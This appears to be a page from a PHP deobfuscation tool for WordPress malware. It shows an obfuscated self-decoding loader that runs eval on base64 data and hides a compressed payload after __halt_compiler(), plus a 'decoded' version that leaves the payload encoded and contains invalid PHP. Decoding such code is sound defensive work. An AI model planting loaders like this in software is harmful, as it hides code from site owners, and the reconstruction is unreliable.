Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj...



Obfuscated php code

<?php $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=f22fad8e892c6f0bd1850ec65af8165d4a79924fnVb7c9o4EP45zPA/qAxT2VceTebSmSOhPRqcKzPkUeLAtZR6jL0Ytbblk+SkuZT//VaySd30Hswxw4C0u99+Wu1DIAQXnoCMC8XSyHpuH9VrTUj2SZ/Qfv/tMp/Oln9OD5afDk8gniQUxajAMpRHoCC9sRoT5+zCdbzBcDhp2IUcEv9AIyzj/YMgPpy9O3z9OVhPk3d5CRCC8lksUeeT5KkXQsBDsFYsBg9hvYCniK2k1VgrlfW6XZaxdMU7jHfv0fmmYRueS8FvJQhEaXpXzmTqTOb0jeteete48ga/OecuXRQOpc+41sOjdQy9DpVJQe98FsrD2Xt1/vt7za4ZMsZQVSoh4MYyltrbKk8DxXiqzz3mUQThKL0WsdXMkUKLNDNfSpvc12uk/DR1UBHo4PkvL44q28EaN4NcxB5LmbI09t5eM+JKE6RdWqzXXKrUT0AzyZdIxtKEgrXYOmz82rBbZN+uQq8YxKGOqi+Ef2dRrUlJ/yUpbagmWWzof7ih3Xq5YMWmXlUBDUsJimfKQt4tcnI9GV9cuh7+oLG+HIm3Q0mHfCPcIbRndsz5cdWNecTSLt0J+fLiym0RJXLYWf105IyHVy2i6XjLnMWh90cO4s4q42HvhKQT540zGDqT1jZ8JzxNwVy6CQ8NYi6B7ghXQu18konjXk/O3cng/Or07wzxxiLYZg58gUCb/4BsKD6WNCVIqVMXC0Dxz5A+ZEhVi62sJ5mAyEt8Fawt2i2t+tb844ejxTO7S1sFi9YDov1dxuuPAJWLlKz8WEIFfPPPfr4enznugOj4t52316NpvyFgJUCuG/OPLxfPMD79rhVk2uWHEGl8ZRUi5jz/h0YTvijh65AUpWdqj7wilJIeoU+3hdHXqYyRhdS0qB9KpHS0cy2YlSE9319UquPVNtpGoVwUKgXT0ieeYK9eYyuiu6UC4d342BJMHczpjZ/xjC5a5HQ0drEFTgfj0XCAzdk5G4zGRZR0h/OVX4nVt2QgKLxdJ7pZlL3nEfJRoaCbxy0XYUUh4nnmh2W73Wsmd4mMUHx8fOxcDOu1sT5kj1TR67XLEqbY34LWa6NLMghDzACJEpbVaydM3fXI/XZstF8GuIGRmECEUfpOIswWyk54nirxyKzY2xBN8nUxPdBFOUeQOnIt5oVaA04JFheDQE/I2A/AoiATSDH9KH6XvoQXP2+Hl5kbdjkAdYTnVOZBgIegC0TR5VzITFwfD5FKXFrVYGg8LBht9ART1OSzjbe4p8lZDzSR0AyWhrCLjogJt64Scw9mWBaUEuSDhWMoISgKNoCQ/4o4EzyN/guMrlAVwgT0/Nrog26IRtYptwY/BGE1xjzwlbmwbbVEnEcxdAKemKdDyMC0JGNfWBHThvVroO3eZdAjfpbFrMDp6seDGStbDwMT8La2EDxuD+KY37YvBDPJ91P5PIFgzYt3x7ao9XHso78A

Decoded(de-Obfuscated) php code

<?php

$XnNhAWEnhoiqwciqpoHH = array(0 => "<?php \$XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode(\"aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319\"));eval(base64_decode(YiunIUY76bBhuhNYIO8(\$XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8(\$XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8(\$XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=f22fad8e892c6f0bd1850ec65af8165d4a79924fnVb7c9o4EP45zPA/qAxT2VceTebSmSOhPRqcKzPkUeLAtZR6jL0Ytbblk+SkuZT//VaySd30Hswxw4C0u99+Wu1DIAQXnoCMC8XSyHpuH9VrTUj2SZ/Qfv/tMp/Oln9OD5afDk8gniQUxajAMpRHoCC9sRoT5+zCdbzBcDhp2IUcEv9AIyzj/YMgPpy9O3z9OVhPk3d5CRCC8lksUeeT5KkXQsBDsFYsBg9hvYCniK2k1VgrlfW6XZaxdMU7jHfv0fmmYRueS8FvJQhEaXpXzmTqTOb0jeteete48ga/OecuXRQOpc+41sOjdQy9DpVJQe98FsrD2Xt1/vt7za4ZMsZQVSoh4MYyltrbKk8DxXiqzz3mUQThKL0WsdXMkUKLNDNfSpvc12uk/DR1UBHo4PkvL44q28EaN4NcxB5LmbI09t5eM+JKE6RdWqzXXKrUT0AzyZdIxtKEgrXYOmz82rBbZN+uQq8YxKGOqi+Ef2dRrUlJ/yUpbagmWWzof7ih3Xq5YMWmXlUBDUsJimfKQt4tcnI9GV9cuh7+oLG+HIm3Q0mHfCPcIbRndsz5cdWNecTSLt0J+fLiym0RJXLYWf105IyHVy2i6XjLnMWh90cO4s4q42HvhKQT540zGDqT1jZ8JzxNwVy6CQ8NYi6B7ghXQu18konjXk/O3cng/Or07wzxxiLYZg58gUCb/4BsKD6WNCVIqVMXC0Dxz5A+ZEhVi62sJ5mAyEt8Fawt2i2t+tb844ejxTO7S1sFi9YDov1dxuuPAJWLlKz8WEIFfPPPfr4enznugOj4t52316NpvyFgJUCuG/OPLxfPMD79rhVk2uWHEGl8ZRUi5jz/h0YTvijh65AUpWdqj7wilJIeoU+3hdHXqYyRhdS0qB9KpHS0cy2YlSE9319UquPVNtpGoVwUKgXT0ieeYK9eYyuiu6UC4d342BJMHczpjZ/xjC5a5HQ0drEFTgfj0XCAzdk5G4zGRZR0h/OVX4nVt2QgKLxdJ7pZlL3nEfJRoaCbxy0XYUUh4nnmh2W73Wsmd4mMUHx8fOxcDOu1sT5kj1TR67XLEqbY34LWa6NLMghDzACJEpbVaydM3fXI/XZstF8GuIGRmECEUfpOIswWyk54nirxyKzY2xBN8nUxPdBFOUeQOnIt5oVaA04JFheDQE/I2A/AoiATSDH9KH6XvoQXP2+Hl5kbdjkAdYTnVOZBgIegC0TR5VzITFwfD5FKXFrVYGg8LBht9ART1OSzjbe4p8lZDzSR0AyWhrCLjogJt64Scw9mWBaUEuSDhWMoISgKNoCQ/4o4EzyN/guMrlAVwgT0/Nrog26IRtYptwY/BGE1xjzwlbmwbbVEnEcxdAKemKdDyMC0JGNfWBHThvVroO3eZdAjfpbFrMDp6seDGStbDwMT8La2EDxuD+KY37YvBDPJ91P5PIFgzYt3x7ao9XHso78A");
eval {
    if (!function_exists("YiunIUY76bBhuhNYIO8")) {
        function YiunIUY76bBhuhNYIO8($g, $b = 0)
        {
            $a = implode("\n", $g);
            $d = array(655, 236, 40);
            if ($b == 0) {
                $f = substr($a, $d[0], $d[1]);
            } elseif ($b == 1) {
                $f = substr($a, 891, $d[2]);
            } else {
                $f = trim(substr($a, 931));
            }
            return $f;
        }
    }
};
eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));
eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH, 2), YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH, 1)));
__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=f22fad8e892c6f0bd1850ec65af8165d4a79924fnVb7c9o4EP45zPA/qAxT2VceTebSmSOhPRqcKzPkUeLAtZR6jL0Ytbblk+SkuZT//VaySd30Hswxw4C0u99+Wu1DIAQXnoCMC8XSyHpuH9VrTUj2SZ/Qfv/tMp/Oln9OD5afDk8gniQUxajAMpRHoCC9sRoT5+zCdbzBcDhp2IUcEv9AIyzj/YMgPpy9O3z9OVhPk3d5CRCC8lksUeeT5KkXQsBDsFYsBg9hvYCniK2k1VgrlfW6XZaxdMU7jHfv0fmmYRueS8FvJQhEaXpXzmTqTOb0jeteete48ga/OecuXRQOpc+41sOjdQy9DpVJQe98FsrD2Xt1/vt7za4ZMsZQVSoh4MYyltrbKk8DxXiqzz3mUQThKL0WsdXMkUKLNDNfSpvc12uk/DR1UBHo4PkvL44q28EaN4NcxB5LmbI09t5eM+JKE6RdWqzXXKrUT0AzyZdIxtKEgrXYOmz82rBbZN+uQq8YxKGOqi+Ef2dRrUlJ/yUpbagmWWzof7ih3Xq5YMWmXlUBDUsJimfKQt4tcnI9GV9cuh7+oLG+HIm3Q0mHfCPcIbRndsz5cdWNecTSLt0J+fLiym0RJXLYWf105IyHVy2i6XjLnMWh90cO4s4q42HvhKQT540zGDqT1jZ8JzxNwVy6CQ8NYi6B7ghXQu18konjXk/O3cng/Or07wzxxiLYZg58gUCb/4BsKD6WNCVIqVMXC0Dxz5A+ZEhVi62sJ5mAyEt8Fawt2i2t+tb844ejxTO7S1sFi9YDov1dxuuPAJWLlKz8WEIFfPPPfr4enznugOj4t52316NpvyFgJUCuG/OPLxfPMD79rhVk2uWHEGl8ZRUi5jz/h0YTvijh65AUpWdqj7wilJIeoU+3hdHXqYyRhdS0qB9KpHS0cy2YlSE9319UquPVNtpGoVwUKgXT0ieeYK9eYyuiu6UC4d342BJMHczpjZ/xjC5a5HQ0drEFTgfj0XCAzdk5G4zGRZR0h/OVX4nVt2QgKLxdJ7pZlL3nEfJRoaCbxy0XYUUh4nnmh2W73Wsmd4mMUHx8fOxcDOu1sT5kj1TR67XLEqbY34LWa6NLMghDzACJEpbVaydM3fXI/XZstF8GuIGRmECEUfpOIswWyk54nirxyKzY2xBN8nUxPdBFOUeQOnIt5oVaA04JFheDQE/I2A/AoiATSDH9KH6XvoQXP2+Hl5kbdjkAdYTnVOZBgIegC0TR5VzITFwfD5FKXFrVYGg8LBht9ART1OSzjbe4p8lZDzSR0AyWhrCLjogJt64Scw9mWBaUEuSDhWMoISgKNoCQ/4o4EzyN/guMrlAVwgT0/Nrog26IRtYptwY/BGE1xjzwlbmwbbVEnEcxdAKemKdDyMC0JGNfWBHThvVroO3eZdAjfpbFrMDp6seDGStbDwMT8La2EDxuD+KY37YvBDPJ91P5PIFgzYt3x7ao9XHso78A


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.